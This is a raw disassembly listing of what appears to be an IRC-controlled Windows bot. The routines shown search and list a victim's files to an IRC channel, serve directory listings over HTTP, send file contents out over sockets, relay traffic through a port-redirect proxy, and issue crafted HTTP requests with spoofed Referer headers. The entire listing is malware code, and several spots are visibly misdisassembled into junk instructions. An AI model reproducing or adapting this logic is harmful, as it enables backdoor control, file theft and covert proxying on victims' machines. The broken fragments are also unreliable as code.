mov [ebp+var_31C], esi
jmp short loc_40FC29
; ---------------------------------------------------------------------------
loc_40FBCE: ; CODE XREF: sub_40FA29+14Ej
push ebx
loc_40FBCF: ; CODE XREF: sub_40FA29+125j
call ds:dword_4CDC90 ; closesocket
jmp loc_40FCBF
; ---------------------------------------------------------------------------
loc_40FBDA: ; CODE XREF: sub_40FA29+149j
push edi
push edi
push 3
push edi
push esi
lea eax, [ebp+var_314]
push 80000000h
push eax
call ds:dword_4280EC ; CreateFileA
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_40FC29
lea eax, [ebp+var_314]
push eax
lea eax, [ebp+var_640]
push eax
call sub_41BA76
pop ecx
mov [ebp+var_31C], edi
pop ecx
push edi
push esi
call near ptr 0B10000h
scasb
push esi
mov [ebp+var_330], eax
call ds:dword_42806C ; CloseHandle
loc_40FC29: ; CODE XREF: sub_40FA29+1A3j
; sub_40FA29+1CEj
mov esi, [ebp+arg_10]
lea eax, [ebp+var_8C4]
push esi
push offset unk_436724
push eax
call sub_41BA76
push edi
lea eax, [ebp+var_8C4]
push 3
push eax
call sub_40AF71
mov [ebp+var_32C], eax
imul eax, 234h
add esp, 18h
mov ds:dword_440B3C[eax], esi
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_6C4]
push edi
push eax
push offset loc_40F8AD
push edi
push edi
call ds:dword_42807C ; CreateThread
mov ecx, [ebp+var_32C]
imul ecx, 234h
cmp eax, edi
mov ds:dword_440B4C[ecx], eax
jnz short loc_40FCCE
push ebx
call ds:dword_4CDC90 ; closesocket
call ds:dword_42808C ; RtlGetLastWin32Error
push eax
lea eax, [ebp+var_8C4]
push offset unk_4366EC
push eax
call sub_41BA76
lea eax, [ebp+var_8C4]
push eax
call sub_4152AE
add esp, 10h
loc_40FCBF: ; CODE XREF: sub_40FA29+1ACj
; sub_40FA29+2ADj
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_40FCC6: ; CODE XREF: sub_40FA29+2ABj
push 5
call ds:dword_428064 ; Sleep
loc_40FCCE: ; CODE XREF: sub_40FA29+266j
cmp [ebp+var_318], edi
jz short loc_40FCC6
jmp short loc_40FCBF
sub_40FA29 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40FCD8 proc near ; CODE XREF: seg000:004091A4p
var_594 = byte ptr -594h
var_490 = byte ptr -490h
var_388 = dword ptr -388h
var_374 = byte ptr -374h
var_368 = dword ptr -368h
var_35C = byte ptr -35Ch
var_248 = byte ptr -248h
var_48 = byte ptr -48h
var_20 = byte ptr -20h
var_18 = word ptr -18h
var_16 = word ptr -16h
var_12 = word ptr -12h
var_10 = dword ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 594h
push ebx
push esi
push edi
xor ebx, ebx
push 104h
lea eax, [ebp+var_594]
push ebx
push eax
mov [ebp+var_4], ebx
mov [ebp+var_8], ebx
call sub_41B780
mov edi, [ebp+arg_0]
push offset asc_42B0FC ; "\n"
push edi
call sub_41C2E4
add esp, 14h
cmp [ebp+arg_8], ebx
push edi
jz short loc_40FD37
push [ebp+arg_8]
mov esi, 200h
lea eax, [ebp+var_248]
push offset aPrivmsgSSearch ; "PRIVMSG %s :Searching for: %s\r\n"
push esi
push eax
call sub_41BB70
add esp, 14h
jmp loc_40FE33
; ---------------------------------------------------------------------------
loc_40FD37: ; CODE XREF: sub_40FCD8+3Bj
cmp [ebp+arg_C], ebx
jz loc_40FE19
call sub_41B1D0
mov [eax+edi-1], bl
push edi
mov esi, 200h
push offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"...
lea eax, [ebp+var_248]
push esi
push eax
call sub_41BB70
add esp, 14h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41B1D0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call ds:dword_4CDC48 ; send
push edi
push offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""...
lea eax, [ebp+var_248]
push esi
push eax
call sub_41BB70
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41B1D0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call ds:dword_4CDC48 ; send
push edi
call sub_41B1D0
push 3Ch
push 96h
mov byte ptr [eax+edi], 2Ah
push 0E6h
push offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"...
lea eax, [ebp+var_248]
push esi
push eax
call sub_41BB70
add esp, 1Ch
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41B1D0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call ds:dword_4CDC48 ; send
push offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
lea eax, [ebp+var_248]
push esi
push eax
call sub_41BB70
add esp, 0Ch
jmp short loc_40FE33
; ---------------------------------------------------------------------------
loc_40FE19: ; CODE XREF: sub_40FCD8+62j
mov esi, 200h
push offset aSearchingForS ; "Searching for: %s\r\n"
lea eax, [ebp+var_248]
push esi
push eax
call sub_41BB70
add esp, 10h
loc_40FE33: ; CODE XREF: sub_40FCD8+5Aj
; sub_40FCD8+13Fj
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41B1D0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call ds:dword_4CDC48 ; send
cmp [ebp+arg_C], ebx
jz short loc_40FECB
push [ebp+arg_C]
call sub_41B1D0
cmp eax, 2
pop ecx
jbe short loc_40FECB
push [ebp+arg_C]
call sub_41B1D0
sub eax, 3
pop ecx
jz short loc_40FE7F
loc_40FE73: ; CODE XREF: sub_40FCD8+1A5j
mov ecx, [ebp+arg_C]
cmp byte ptr [eax+ecx], 2Fh
jz short loc_40FE7F
dec eax
jnz short loc_40FE73
loc_40FE7F: ; CODE XREF: sub_40FCD8+199j
; sub_40FCD8+1A2j
inc eax
push eax
lea eax, [ebp+var_594]
push [ebp+arg_C]
push eax
call sub_41B7E0
lea eax, [ebp+var_594]
push eax
push offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"...
lea eax, [ebp+var_248]
push esi
push eax
call sub_41BB70
add esp, 1Ch
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41B1D0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call ds:dword_4CDC48 ; send
loc_40FECB: ; CODE XREF: sub_40FCD8+17Dj
; sub_40FCD8+18Bj
lea eax, [ebp+var_388]
push eax
push edi
call ds:dword_428000 ; FindFirstFileA
lea ecx, [ebp+var_388]
mov [ebp+arg_0], eax
push ecx
push eax
call ds:dword_42811C ; FindNextFileA
test eax, eax
jz loc_4102C2
mov edi, 1FFh
loc_40FEF7: ; CODE XREF: sub_40FCD8+5E4j
cmp [ebp+var_388], ebx
jz loc_4102AA
lea eax, [ebp+var_35C]
push offset a__ ; ".."
push eax
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_4102AA
lea eax, [ebp+var_35C]
push offset a_ ; "."
push eax
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_4102AA
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_374]
push eax
call near ptr 0B10000h
in al, 8Dh
inc ebp
call near ptr 0E0868CA1h
push eax
call near ptr 0B10000h
sub al, 66h
mov eax, [ebp+var_10]
mov ecx, offset aPm ; "PM"
cmp ax, 0Ch
ja loc_40FFF4
mov ecx, offset aAm ; "AM"
movzx eax, ax
loc_40FF73: ; CODE XREF: sub_40FCD8+322j
push ecx
movzx ecx, word ptr [ebp+var_10+2]
push ecx
push eax
movzx eax, [ebp+var_18]
push eax
movzx eax, [ebp+var_12]
push eax
movzx eax, [ebp+var_16]
push eax
lea eax, [ebp+var_48]
push offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d %2.2d:%2.2d %s"
push eax
call sub_41BA76
add esp, 20h
test byte ptr [ebp+var_388], 10h
jz loc_41012B
inc [ebp+var_8]
cmp [ebp+arg_8], ebx
jz short loc_40FFFF
lea eax, [ebp+var_35C]
push eax
push offset aS_0 ; "<%s>"
lea eax, [ebp+var_490]
push 106h
push eax
call sub_41BB70
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_490]
push eax
lea eax, [ebp+var_248]
push [ebp+arg_8]
push offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s %-21s\n"
push esi
push eax
call sub_41BB70
add esp, 28h
jmp loc_41027B
; ---------------------------------------------------------------------------
loc_40FFF4: ; CODE XREF: sub_40FCD8+28Dj
movzx eax, ax
sub eax, 0Ch
jmp loc_40FF73
; ---------------------------------------------------------------------------
loc_40FFFF: ; CODE XREF: sub_40FCD8+2D5j
cmp [ebp+arg_C], ebx
jz loc_4100E9
push 0E6h
push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
lea eax, [ebp+var_248]
push edi
push eax
call sub_41BB70
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41B1D0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call ds:dword_4CDC48 ; send
lea eax, [ebp+var_35C]
push eax
lea eax, [ebp+var_248]
push [ebp+arg_C]
loc_410051: ; DATA XREF: seg002:00433C1Do
; seg002:0043444Do
push offset aSS_1 ; "%s%s/"
push edi
push eax
call sub_41BB70
add esp, 14h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41B1D0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call ds:dword_4CDC48 ; send
lea eax, [ebp+var_35C]
push eax
call sub_41B1D0
cmp eax, 1Eh
pop ecx
lea eax, [ebp+var_35C]
push eax
lea eax, [ebp+var_248]
jbe short loc_4100A5
push offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>"
jmp short loc_4100AA
; ---------------------------------------------------------------------------
loc_4100A5: ; CODE XREF: sub_40FCD8+3C4j
push offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>"
loc_4100AA: ; CODE XREF: sub_40FCD8+3CBj
push edi
push eax
call sub_41BB70
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41B1D0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call ds:dword_4CDC48 ; send
lea eax, [ebp+var_48]
push 3Ch
push eax
push 96h
push offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
push edi
jmp loc_41026C
; ---------------------------------------------------------------------------
loc_4100E9: ; CODE XREF: sub_40FCD8+32Aj
lea eax, [ebp+var_35C]
push eax
push offset aS_0 ; "<%s>"
lea eax, [ebp+var_490]
push 106h
push eax
call sub_41BB70
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_490]
push eax
push offset a31s21s ; "%-31s %-21s\r\n"
loc_410116: ; CODE XREF: sub_40FCD8+47Bj
lea eax, [ebp+var_248]
push esi
push eax
call sub_41BB70
add esp, 24h
jmp loc_41027B
; ---------------------------------------------------------------------------
loc_41012B: ; CODE XREF: sub_40FCD8+2C9j
inc [ebp+var_4]
cmp [ebp+arg_8], ebx
jz short loc_410155
push ebx
push [ebp+var_368]
call sub_416994
push eax
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_35C]
push eax
push [ebp+arg_8]
push offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s %-21s (%s bytes)\n"
jmp short loc_410116
; ---------------------------------------------------------------------------
loc_410155: ; CODE XREF: sub_40FCD8+459j
cmp [ebp+arg_C], ebx
jz loc_410255
push 0E6h
push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
lea eax, [ebp+var_248]
push edi
push eax
call sub_41BB70
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41B1D0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call ds:dword_4CDC48 ; send
lea eax, [ebp+var_35C]
push eax
lea eax, [ebp+var_248]
push [ebp+arg_C]
push offset dword_42AAEC
push edi
push eax
call sub_41BB70
add esp, 14h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41B1D0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call ds:dword_4CDC48 ; send
lea eax, [ebp+var_35C]
push eax
call sub_41B1D0
cmp eax, 1Fh
pop ecx
lea eax, [ebp+var_35C]
push eax
lea eax, [ebp+var_248]
jbe short loc_4101FB
push offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>"
jmp short loc_410200
; ---------------------------------------------------------------------------
loc_4101FB: ; CODE XREF: sub_40FCD8+51Aj
push offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>"
loc_410200: ; CODE XREF: sub_40FCD8+521j
push edi
push eax
call sub_41BB70
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41B1D0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call ds:dword_4CDC48 ; send
mov eax, [ebp+var_368]
shr eax, 0Ah
push eax
lea eax, [ebp+var_48]
push 3Ch
push eax
push 96h
push offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
lea eax, [ebp+var_248]
push edi
push eax
call sub_41BB70
add esp, 1Ch
jmp short loc_41027B
; ---------------------------------------------------------------------------
loc_410255: ; CODE XREF: sub_40FCD8+480j
push [ebp+var_368]
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_35C]
push eax
push offset a31s21sIBytes ; "%-31s %-21s (%i bytes)\r\n"
push esi
loc_41026C: ; CODE XREF: sub_40FCD8+40Cj
lea eax, [ebp+var_248]
push eax
call sub_41BB70
add esp, 18h
loc_41027B: ; CODE XREF: sub_40FCD8+317j
; sub_40FCD8+44Ej ...
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41B1D0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call ds:dword_4CDC48 ; send
cmp [ebp+arg_8], ebx
jz short loc_4102AA
push 7D0h
call ds:dword_428064 ; Sleep
loc_4102AA: ; CODE XREF: sub_40FCD8+225j
; sub_40FCD8+240j ...
lea eax, [ebp+var_388]
push eax
push [ebp+arg_0]
call ds:dword_42811C ; FindNextFileA
test eax, eax
jnz loc_40FEF7
loc_4102C2: ; CODE XREF: sub_40FCD8+214j
push [ebp+arg_0]
call near ptr 0B10000h
insd
cmp [ebp+arg_8], ebx
jz short loc_410305
mov eax, [ebp+var_8]
cdq
push edx
push eax
call sub_416994
pop ecx
pop ecx
push eax
mov eax, [ebp+var_4]
cdq
push edx
push eax
call sub_416994
pop ecx
pop ecx
push eax
lea eax, [ebp+var_248]
push [ebp+arg_8]
push offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"...
push eax
call sub_41BA76
add esp, 14h
jmp short loc_410333
; ---------------------------------------------------------------------------
loc_410305: ; CODE XREF: sub_40FCD8+5F6j
cmp [ebp+arg_C], ebx
lea eax, [ebp+var_248]
jz short loc_41031F
push offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
push eax
call sub_41BA76
pop ecx
pop ecx
jmp short loc_410333
; ---------------------------------------------------------------------------
loc_41031F: ; CODE XREF: sub_40FCD8+636j
push [ebp+var_8]
push [ebp+var_4]
push offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n"
push eax
call sub_41BA76
add esp, 10h
loc_410333: ; CODE XREF: sub_40FCD8+62Bj
; sub_40FCD8+645j
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41B1D0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call ds:dword_4CDC48 ; send
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn
sub_40FCD8 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 404h
push ebx
push esi
xor esi, esi
push edi
push esi
push esi
push 3
push esi
push 1
push 80000000h
push dword ptr [ebp+0Ch]
mov edi, 400h
mov [ebp-4], esi
call ds:dword_4280EC ; CreateFileA
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_410411
push esi
push ebx
call near ptr 0B10000h
and eax, 4589C63Bh
or al, 74h
insb
loc_41039E: ; CODE XREF: seg000:00410408j
push 400h
lea eax, [ebp-404h]
push esi
push eax
call sub_41B780
add esp, 0Ch
cmp edi, [ebp+0Ch]
jbe short loc_4103BB
mov edi, [ebp+0Ch]
loc_4103BB: ; CODE XREF: seg000:004103B6j
mov eax, [ebp+0Ch]
push 2
neg eax
push esi
push eax
push ebx
call ds:dword_428120 ; SetFilePointer
lea eax, [ebp-4]
push esi
push eax
lea eax, [ebp-404h]
push edi
push eax
push ebx
call ds:dword_4280E8 ; ReadFile
push esi
lea eax, [ebp-404h]
push edi
push eax
push dword ptr [ebp+8]
call ds:dword_4CDC48 ; send
cmp eax, 0FFFFFFFFh
jnz short loc_410405
call ds:dword_4CDB8C ; WSAGetLastError
cmp eax, 2733h
jnz short loc_41040A
xor eax, eax
loc_410405: ; CODE XREF: seg000:004103F4j
sub [ebp+0Ch], eax
jnz short loc_41039E
loc_41040A: ; CODE XREF: seg000:00410401j
push ebx
call ds:dword_42806C ; CloseHandle
loc_410411: ; CODE XREF: seg000:00410389j
pop edi
pop esi
pop ebx
leave
retn
; =============== S U B R O U T I N E =======================================
sub_410416 proc near ; CODE XREF: sub_40FA29+17Bp
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
xor esi, esi
push edi
call sub_41B1D0
test eax, eax
pop ecx
jbe short loc_41043F
loc_410429: ; CODE XREF: sub_410416+27j
cmp byte ptr [esi+edi], 5Ch
jnz short loc_410433
mov byte ptr [esi+edi], 2Fh
loc_410433: ; CODE XREF: sub_410416+17j
push edi
inc esi
call sub_41B1D0
cmp esi, eax
pop ecx
jb short loc_410429
loc_41043F: ; CODE XREF: sub_410416+11j
mov eax, edi
pop edi
pop esi
retn
sub_410416 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_410444 proc near ; CODE XREF: seg000:00406D05p
var_4A0 = byte ptr -4A0h
var_310 = byte ptr -310h
var_110 = byte ptr -110h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
push ebp
mov ebp, esp
sub esp, 4A0h
push ebx
lea eax, [ebp+var_4A0]
push edi
push eax
push 101h
call ds:dword_4CDB68 ; WSAStartup
push 6
push 1
push 2
call ds:dword_4CDC78 ; socket
mov ebx, eax
xor edi, edi
push 10h
lea eax, [ebp+var_10]
push edi
push eax
call sub_41B780
add esp, 0Ch
mov [ebp+var_10], 2
push [ebp+arg_14]
call ds:dword_4CDBF8 ; htons
push [ebp+arg_10]
mov [ebp+var_E], ax
call sub_40A9E8
pop ecx
mov [ebp+var_C], eax
lea eax, [ebp+var_10]
push 10h
push eax
push ebx
call ds:dword_4CDBA0 ; connect
cmp eax, 0FFFFFFFFh
jz short loc_410521
mov eax, [ebp+arg_20]
cmp eax, edi
jnz short loc_4104BD
mov eax, offset dword_43FDB4
loc_4104BD: ; CODE XREF: sub_410444+72j
push esi
mov esi, 100h
push [ebp+arg_10]
push eax
lea eax, [ebp+var_110]
push [ebp+arg_1C]
push [ebp+arg_18]
push offset aSSHttp1_1Refer ; "%s %s HTTP/1.1\nReferer: %s\nHost: %s\nCon"...
push esi
push eax
call sub_41BB70
add esp, 1Ch
lea eax, [ebp+var_110]
push edi
push eax
call sub_41B1D0
pop ecx
push eax
lea eax, [ebp+var_110]
push eax
push ebx
call ds:dword_4CDC48 ; send
push esi
lea eax, [ebp+var_110]
push edi
push eax
call sub_41C500
add esp, 0Ch
lea eax, [ebp+var_110]
push edi
push esi
push eax
push ebx
call ds:dword_4CDC10 ; recv
pop esi
loc_410521: ; CODE XREF: sub_410444+6Bj
push ebx
call ds:dword_4CDC90 ; closesocket
call ds:dword_4CDB50 ; WSACleanup
lea eax, [ebp+var_110]
push eax
lea eax, [ebp+var_310]
push eax
call sub_41BA76
cmp [ebp+arg_C], edi
pop ecx
pop ecx
jnz short loc_410561
push edi
lea eax, [ebp+var_310]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409966
add esp, 14h
loc_410561: ; CODE XREF: sub_410444+102j
pop edi
pop ebx
leave
retn
sub_410444 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_410565 proc near ; DATA XREF: seg000:00407BA5o
var_350 = byte ptr -350h
var_150 = byte ptr -150h
var_14C = dword ptr -14Ch
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_30 = dword ptr -30h
var_28 = byte ptr -28h
var_26 = word ptr -26h
var_24 = dword ptr -24h
var_18 = byte ptr -18h
var_14 = word ptr -14h
var_12 = word ptr -12h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 350h
mov eax, [ebp+arg_0]
push esi
push edi
push 4Ah
pop ecx
mov esi, eax
lea edi, [ebp+var_150]
push 10h
rep movsd
pop edi
mov dword ptr [eax+120h], 1
xor esi, esi
push edi
lea eax, [ebp+var_14]
push esi
push eax
call sub_41B780
add esp, 0Ch
mov [ebp+var_14], 2
push [ebp+var_44]
call ds:dword_4CDBF8 ; htons
push 6
push 1
push 2
mov [ebp+var_12], ax
mov [ebp+var_10], esi
mov [ebp+var_4], edi
call ds:dword_4CDC78 ; socket
cmp eax, 0FFFFFFFFh
mov [ebp+arg_0], eax
jz loc_4106D0
mov ecx, [ebp+var_40]
push 1
imul ecx, 234h
push 401h
push esi
push eax
mov ds:dword_440B44[ecx], eax
call ds:dword_4CDB08 ; WSAAsyncSelect
lea eax, [ebp+var_14]
push edi
push eax
push [ebp+arg_0]
call ds:dword_4CDC24 ; bind
test eax, eax
jnz loc_4106D0
push 0Ah
push [ebp+arg_0]
call ds:dword_4CDC20 ; listen
test eax, eax
jnz loc_4106D0
loc_410615: ; CODE XREF: sub_410565+C6j
; sub_410565+166j
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_28]
push eax
push [ebp+arg_0]
call ds:dword_4CDC8C ; accept
mov edi, eax
cmp edi, 0FFFFFFFFh
jz short loc_410615
movzx eax, [ebp+var_26]
push [ebp+var_40]
mov [ebp+var_14C], edi
mov [ebp+var_30], esi
push eax
push [ebp+var_24]
call ds:dword_4CDC84 ; inet_ntoa
push eax
lea eax, [ebp+var_350]
push offset unk_436C48
push eax
call sub_41BA76
push edi
lea eax, [ebp+var_350]
push 18h
push eax
call sub_40AF71
mov [ebp+var_3C], eax
imul eax, 234h
mov ecx, [ebp+var_40]
add esp, 20h
mov ds:dword_440B3C[eax], ecx
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_150]
push esi
push eax
push offset loc_4106F5
push esi
push esi
call ds:dword_42807C ; CreateThread
mov ecx, [ebp+var_3C]
imul ecx, 234h
cmp eax, esi
mov ds:dword_440B4C[ecx], eax
jnz short loc_4106C6
call ds:dword_42808C ; RtlGetLastWin32Error
push eax
push offset unk_436C08
call sub_415322
pop ecx
pop ecx
jmp short loc_4106D3
; ---------------------------------------------------------------------------
loc_4106BE: ; CODE XREF: sub_410565+164j
push 32h
call ds:dword_428064 ; Sleep
loc_4106C6: ; CODE XREF: sub_410565+142j
cmp [ebp+var_30], esi
jz short loc_4106BE
jmp loc_410615
; ---------------------------------------------------------------------------
loc_4106D0: ; CODE XREF: sub_410565+63j
; sub_410565+97j ...
mov edi, [ebp+arg_0]
loc_4106D3: ; CODE XREF: sub_410565+157j
push edi
call ds:dword_4CDC90 ; closesocket
push [ebp+arg_0]
call ds:dword_4CDC90 ; closesocket
push [ebp+var_40]
call sub_40B287
pop ecx
push esi
call near ptr 0B10000h
pop esi
pop edi
pop esi
sub_410565 endp ; sp-analysis failed
loc_4106F5: ; DATA XREF: sub_410565+124o
push ebp
mov ebp, esp
mov eax, 1344h
call sub_41BD10
mov eax, [ebp+8]
push ebx
push esi
push edi
push 4Ah
mov esi, eax
pop ecx
lea edi, [ebp-144h]
rep movsd
mov ebx, [ebp-30h]
xor ecx, ecx
inc ecx
push 6
push ecx
push 2
mov [eax+120h], ecx
mov [ebp-4], ebx
call ds:dword_4CDC78 ; socket
mov esi, eax
xor edi, edi
cmp esi, 0FFFFFFFFh
mov [ebp+8], esi
jz loc_410858
push 10h
lea eax, [ebp-18h]
push edi
push eax
call sub_41B780
add esp, 0Ch
mov word ptr [ebp-18h], 2
push dword ptr [ebp-3Ch]
call ds:dword_4CDBF8 ; htons
mov [ebp-16h], ax
lea eax, [ebp-13Ch]
push eax
call ds:dword_4CDC38 ; inet_addr
cmp eax, 0FFFFFFFFh
mov [ebp-8], eax
jnz short loc_410785
lea eax, [ebp-13Ch]
push eax
call ds:dword_4CDC7C ; gethostbyname
jmp short loc_410793
; ---------------------------------------------------------------------------
loc_410785: ; CODE XREF: seg000:00410774j
push 2
lea eax, [ebp-8]
push 4
push eax
call ds:dword_4CDBB0 ; gethostbyaddr
loc_410793: ; CODE XREF: seg000:00410783j
cmp eax, edi
jz loc_410858
mov eax, [eax+0Ch]
push 10h
mov eax, [eax]
mov eax, [eax]
mov [ebp-14h], eax
lea eax, [ebp-18h]
push eax
push esi
call ds:dword_4CDBA0 ; connect
cmp eax, 0FFFFFFFFh
jz loc_410858
movzx eax, word ptr [ebp-16h]
push dword ptr [ebp-34h]
mov [ebp-20h], edi
push eax
push dword ptr [ebp-14h]
call ds:dword_4CDC84 ; inet_ntoa
push eax
lea eax, [ebp-344h]
push offset unk_436CD0
push eax
call sub_41BA76
push esi
lea eax, [ebp-344h]
push 18h
push eax
call sub_40AF71
imul ebx, 234h
mov [ebp-30h], eax
imul eax, 234h
mov ecx, [ebp-34h]
lea esi, dword_440B44[ebx]
mov ds:dword_440B3C[eax], ecx
add esp, 20h
mov ecx, [esi]
mov ds:dword_440B48[eax], ecx
lea eax, [ebp-1Ch]
push eax
lea eax, [ebp-144h]
push edi
push eax
push offset byte_4108DD
push edi
push edi
call ds:dword_42807C ; CreateThread
mov ecx, [ebp-30h]
imul ecx, 234h
cmp eax, edi
mov ds:dword_440B4C[ecx], eax
jnz short loc_410891
call ds:dword_42808C ; RtlGetLastWin32Error
push eax
push offset unk_436C90
call sub_415322
pop ecx
pop ecx
loc_410858: ; CODE XREF: seg000:00410739j
; seg000:00410795j ...
mov eax, [ebp-4]
imul eax, 234h
push ds:dword_440B44[eax]
call ds:dword_4CDC90 ; closesocket
push dword ptr [ebp+8]
call ds:dword_4CDC90 ; closesocket
push dword ptr [ebp-4]
call sub_40B287
pop ecx
push edi
call near ptr 0B10000h
mov al, ds:6A5B5E5Fh ; CODE XREF: seg000:00410894j
xor bh, bh
adc eax, offset dword_428064
loc_410891: ; CODE XREF: seg000:00410843j
cmp [ebp-20h], edi
jz short near ptr loc_410885+4
mov ebx, 1000h
loc_41089B: ; CODE XREF: seg000:004108D6j
push ebx
lea eax, [ebp-1344h]
push edi
push eax
call sub_41B780
add esp, 0Ch
lea eax, [ebp-1344h]
push edi
push ebx
push eax
push dword ptr [esi]
call ds:dword_4CDC10 ; recv
cmp eax, edi
jle short loc_410858
push edi
push eax
lea eax, [ebp-1344h]
push eax
push dword ptr [ebp+8]
call ds:dword_4CDC48 ; send
cmp eax, 0FFFFFFFFh
jnz short loc_41089B
jmp loc_410858
; ---------------------------------------------------------------------------
byte_4108DD db 55h, 8Bh, 0ECh ; DATA XREF: seg000:00410825o
; ---------------------------------------------------------------------------
mov eax, 1128h
call sub_41BD10
mov eax, [ebp+8]
push esi
push edi
push 4Ah
pop ecx
mov esi, eax
lea edi, [ebp-128h]
rep movsd
mov esi, [ebp-14h]
mov dword ptr [eax+124h], 1
imul esi, 234h
mov edi, 1000h
loc_410914: ; CODE XREF: seg000:00410959j
push edi
lea eax, [ebp-1128h]
push 0
push eax
call sub_41B780
add esp, 0Ch
lea eax, [ebp-1128h]
push 0
push edi
push eax
push ds:dword_440B48[esi]
call ds:dword_4CDC10 ; recv
test eax, eax
jle short loc_41095B
push 0
push eax
lea eax, [ebp-1128h]
push eax
push ds:dword_440B44[esi]
call ds:dword_4CDC48 ; send
cmp eax, 0FFFFFFFFh
jnz short loc_410914
loc_41095B: ; CODE XREF: seg000:0041093Ej
push ds:dword_440B48[esi]
call ds:dword_4CDC90 ; closesocket
push dword ptr [ebp-14h]
call sub_40B287
pop ecx
push 0
; ---------------------------------------------------------------------------
dw 89E8h
; ---------------------------------------------------------------------------
imul byte ptr [edi+0]
retn
; ---------------------------------------------------------------------------
pop edi
pop esi
push ebp
mov ebp, esp
sub esp, 3D4h
mov eax, [ebp+8]
push ebx
push esi
push edi
push 78h
xor ebx, ebx
pop ecx
mov esi, eax
lea edi, [ebp-3D4h]
inc ebx
rep movsd
mov [eax+1DCh], ebx
mov eax, [ebp-208h]
mov [ebp+8], eax
imul eax, 234h
lea esi, dword_440B44[eax]
